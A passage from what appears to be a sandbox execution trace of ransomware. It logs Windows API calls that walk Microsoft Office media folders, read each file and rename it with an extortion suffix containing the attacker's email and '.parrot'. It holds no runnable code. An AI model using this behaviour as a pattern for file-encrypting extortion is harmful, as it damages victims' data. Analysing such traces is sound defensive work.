ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.299] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0163.299] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0163.299] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c438, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MML", cAlternateFileName="")) returned 1 [0163.299] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.300] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.313] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.313] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4c438, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4c438, lpOverlapped=0x0) returned 1 [0163.329] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.366] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2261708 | out: hHeap=0x5b0000) returned 1 [0163.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0163.373] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0163.373] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xed66d3a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xed66d3a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.375] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xed66d3a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4c558, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MML.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="OFFICE~1.PAR")) returned 1 [0163.375] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0163.378] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0163.378] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.378] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0163.378] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0163.378] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTOSHAP.DLL", cAlternateFileName="")) returned 1 [0163.380] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.380] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.381] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.381] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x926, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x926, lpOverlapped=0x0) returned 1 [0163.382] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.382] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18180_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18180_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0163.386] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.386] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.396] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.396] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb2e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb2e, lpOverlapped=0x0) returned 1 [0163.396] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.397] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18181_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18181_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.399] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.399] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.399] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0163.401] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.401] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.403] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.403] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc5e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc5e, lpOverlapped=0x0) returned 1 [0163.403] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.404] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18182_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18182_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.406] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.406] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.406] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0163.408] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.408] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.409] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.410] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd22, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd22, lpOverlapped=0x0) returned 1 [0163.410] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.410] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18184_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.413] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.413] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.413] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0163.415] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.415] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.419] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.420] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd42, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd42, lpOverlapped=0x0) returned 1 [0163.420] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.420] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18185_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18185_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0163.488] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.488] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.489] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.489] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x758, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x758, lpOverlapped=0x0) returned 1 [0163.490] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.490] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18187_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18187_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0163.496] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.496] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.498] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.498] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x980, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x980, lpOverlapped=0x0) returned 1 [0163.498] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.499] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18189_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18189_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.501] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.501] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.501] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0163.504] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.504] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.506] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.506] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x994, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x994, lpOverlapped=0x0) returned 1 [0163.506] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.507] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18190_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18190_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0163.511] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.511] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.512] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.513] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc9e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc9e, lpOverlapped=0x0) returned 1 [0163.513] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.513] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18191_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0163.518] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.518] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.519] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.519] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2068, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2068, lpOverlapped=0x0) returned 1 [0163.520] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.520] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18192_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18192_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x229c058 | out: hHeap=0x5b0000) returned 1 [0163.524] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.524] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.525] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.526] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x128e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x128e, lpOverlapped=0x0) returned 1 [0163.526] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.527] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18193_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18193_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.529] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.529] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.529] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264048 | out: hHeap=0x5b0000) returned 1 [0163.530] SetFilePointerEx (in: 